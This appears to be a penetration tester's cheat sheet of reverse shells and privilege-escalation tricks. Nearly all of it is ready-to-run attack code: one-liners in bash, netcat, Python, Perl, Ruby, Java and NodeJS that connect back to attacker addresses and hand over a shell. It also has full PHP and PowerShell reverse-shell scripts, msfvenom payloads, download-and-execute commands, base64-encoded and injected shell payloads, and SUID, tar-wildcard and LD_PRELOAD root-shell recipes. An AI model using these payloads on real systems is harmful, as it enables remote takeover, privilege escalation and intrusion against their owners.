Reverse shells 👾

Credits to Pentest Monkey
Credits to swisskeyrepo

Python

#!/usr/bin/python3
from os import dup2
from subprocess import run
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("LOCAL_IP",1234))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
run(["/bin/bash","-i"])

This one almost always works better

import socket,subprocess,os
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.11.74.136",888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

...#whatever it does before
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,s.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]));'
 
# other option
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP_HOST PORT >/tmp/f" > twasBrillig.sh
 
# other for remote
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ATTACK",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

OS

import os
 
def choice(a):
 
	os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP_ATTCK PORT>/tmp/f")

Obtaining root shell

# Add the following to a file that is runned as root to obtain a shell
echo "cp /bin/bash /tmp && chmod +s /tmp/bash" >> /etc/FILE.sh
 
 
# Also, if the user root is running a cron job u can put this code into a file and obtain root shell
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.11.74.136 777 > /tmp/f
## The perform:
echo > '--checkpoint=1'
echo > '--checkpoint-action=exec=sh shell.sh'

When the script will be executed, it will copy the /bin/bash to /tmp directory and make it a SUID.
Now you can do /tmp/bash -p and you should have root permissions

Netcat

nc -e /bin/sh 10.0.0.1 1234
 
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

How to stabilise a shell:

Linux

python3 -c "import pty; pty.spawn('/bin/bash')"
# or
python -c "import pty; pty.spawn('/bin/bash')"
# then
export TERM=xterm
# Press -> Ctrl + Z
stty raw -echo; fg
--------------------------------
#if there is no python installed
/bin/bash -i
--------------------------------
#if you are on a meterpreter
SHELL=/bin/bash script -q /dev/null

Windows

First generate a shell with msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP_ATTACK LPORT=PORT -f exe -o revshell.exe

Now download the payload from the victim’s machine:

python3 -m http.server # on your machine
 
# do this on the existing netcat unstable shell
powershell -c "Invoke-WebRequest -Uri 'http://IP_ATTACK:PORT/revshell.exe' -OutFile 'c:\windows\temp\revshell.exe'"

Now, open msfconsole:

msfconsole -q
 
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <YOUR_IP>
LHOST => <YOUR_IP>
msf5 exploit(multi/handler) > set LPORT <YOUR_PORT>
LPORT => <YOUR_PORT>
msf5 exploit(multi/handler) > run
 
[*] Started reverse TCP handler on <YOUR_IP>:<YOUR_PORT>

Bash

bash -i >& /dev/tcp/IP_ATTCK/PORT 0>&1
# or try url encoded if it's on web like:
bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E100%2E1%2F666%200%3E%261
 
nc IP_ATTCK PORT -e /bin/bash
 
echo "#!/bin/bash bash -i >& /dev/tcp/10.14.69.1/999 0>&1" > backup.sh
 
# Encoded on base64
{"target":"\";echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjUwLjcyLzQ0NDQgMD4mMQ== | base64 -d | bash; \""}

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Add this to a script shell.pl:

#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

If you see that running sudo -l someone is using a wildcard like:

Run the following:

msfvenom -p cmd/unix/reverse_netcat lhost=IP_ATTCK lport=PORT R

Which gives us the exploit:

mkfifo /tmp/fmkltf; nc 10.14.69.1 1234 0</tmp/fmkltf | /bin/sh >/tmp/fmkltf 2>&1; rm /tmp/fmkltf

Steps:
1. Copy the reverse shell on the remote host
2. Run the action when the checkpoint is reached: echo "" > "--checkpoint-action=exec=sh shell.sh"
3. Show progress message every record: echo "" > --checkpoint=1
4. Set up a listener on your local machine

Pentest Monkey shells

PentestMokey shells

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
 
 
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
 
//
// Daemonise ourself if possible to avoid zombies later
//
 
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
 
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
 
	if ($pid) {
		exit(0);  // Parent exits
	}
 
	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
 
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
 
// Change to a safe directory
chdir("/");
 
// Remove any umask we inherited
umask(0);
 
//
// Do the reverse shell...
//
 
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
 
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
 
$process = proc_open($shell, $descriptorspec, $pipes);
 
if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}
 
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
 
printit("Successfully opened reverse shell to $ip:$port");
 
while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}
 
	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}
 
	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}
 
	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}
 
	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}
 
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
 
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}
 
?>

Short version:

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.11.74.136';
$port = 666;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
 
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}
?>

Newer one:

<?php
// Copyright (c) 2020 Ivan Šincek
// v2.6
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $buffer = 1024;  // read/write buffer size
    private $clen   = 0;     // command length
    private $error  = false; // stream read/write error
    private $sdump  = true;  // script's dump
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
    }
    private function detect() {
        $detected = true;
        $os = PHP_OS;
        if (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {
            $this->os    = 'LINUX';
            $this->shell = '/bin/sh';
        } else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
        } else {
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        }
        return $detected;
    }
    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
            // once daemonized, you will actually no longer see the script's dump
        } else if (posix_setsid() < 0) {
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        } else {
            echo "DAEMONIZE: Completed successfully!\n";
        }
        return $exit;
    }
    private function settings() {
        @error_reporting(0);
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
        if ($this->sdump) {
            $data = str_replace('<', '&lt;', $data);
            $data = str_replace('>', '&gt;', $data);
            echo $data;
        }
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set the global error flag
            echo "STRM_ERROR: Cannot read from {$name}, script will now exit...\n";
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set the global error flag
            echo "STRM_ERROR: Cannot write to {$name}, script will now exit...\n";
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
            $this->dump($data); // script's dump
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $size = fstat($input)['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // so we need to discard the data from the stream
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data); // script's dump
        }
    }
    public function run() {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();
 
            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\n";
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
 
                // ----- SHELL BEGIN -----
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start the shell\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
                    }
 
                    // ----- WORK BEGIN -----
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell has connected! PID: {$status['pid']}\n");
                    do {
                        $status = proc_get_status($process);
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                        } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
                            echo "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams
                        }                                                                    // use proc_get_status() instead
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        );
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os === 'LINUX') {
                                if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            } else if ($this->os === 'WINDOWS') {
                                // order is important
                                if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            }
                        }
                    } while (!$this->error);
                    // ------ WORK END ------
 
                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                // ------ SHELL END ------
 
                fclose($socket);
            }
            // ------ SOCKET END ------
 
        }
    }
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.14.69.1', 666);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>

Windows IIS

For Windows IIS, create an .aspx shell:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP_ATTACK LPORT=PORT -f aspx > shell.aspx

Powershell

For powershell, find them here

function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
 
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
 
The script is derived from Powerfun written by Ben Turner & Dave Hardy
 
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
 
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
 
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
 
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
 
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
 
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
 
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
 
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
 
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(
 
        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,
 
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,
 
        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,
 
        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind
 
    )
 
 
    try
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }
 
        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()
            $client = $listener.AcceptTcpClient()
        }
 
        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}
 
        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
 
        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)
 
        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target."
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x
 
            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
        Write-Error $_
    }
}
 
Invoke-PowerShellTcp -Reverse -IPAddress IP_ATTACK -Port PORT

Remember changing the ip and port
To execute it, create a .bat file on your system and upload it to the victim’s machine. The .bat must contain this:

PowerShell "IEX(New-Object Net.WebClient).downloadString('http://IP_ATTACK/rev.ps1')"

Web shell

If you have a web shell, you can obtain a bash one using this php command:

php -r '$sock=fsockopen("IP_ATTACK",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
# or
sh -i >& /dev/tcp/ IP_ATTACK/4444 0>&1
bash -i >& /dev/tcp/ IP_ATTACK/4444 0>&1
/bin/bash "/bin/bash -i 5<> /dev/tcp/IP_ATTACK/4444 0<&5 1>&5 2>&5"

Also, if the php script has a regex, you can encode to base64 a netcat shell like:

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP_ATTACK PORT >/tmp/f" | base64
 
#Then pipe it
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTQuNjkuMSA2NjYgPi90bXAvZgo | base64 -d | bash

C

c code to spawn a root shell: - Note: it is only available when executing sudo -l gives this: Matching Defaults entries for webdeveloper on sky: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD or similar `

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
 unsetenv("LD_PRELOAD");
 setgid(0);
 setuid(0);
 system("/bin/bash");
}

Then, compile it using gcc into a shared object file using the following parameters: gcc -fPIC -shared -o shell.so shell.c -nostartfiles
we need to run the program by specifying the LD_PRELOAD option, as follows: sudo LD_PRELOAD=/tmp/shell.so sky_backup_utility
- Note that the sky_backup_utility is the command that the user can run as root

nc reverse shell

We can obtain a reverse shell using netcat like:

nc -e /bin/bash 10.10.14.110 666

This is useful when we are sending the payload through a command prompt of an exploit like Apache OFBiz Authetication Bypass

NodeJS

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(666, "10.11.74.136", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();
 
 
or
 
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
 
or
 
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
 
or
 
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

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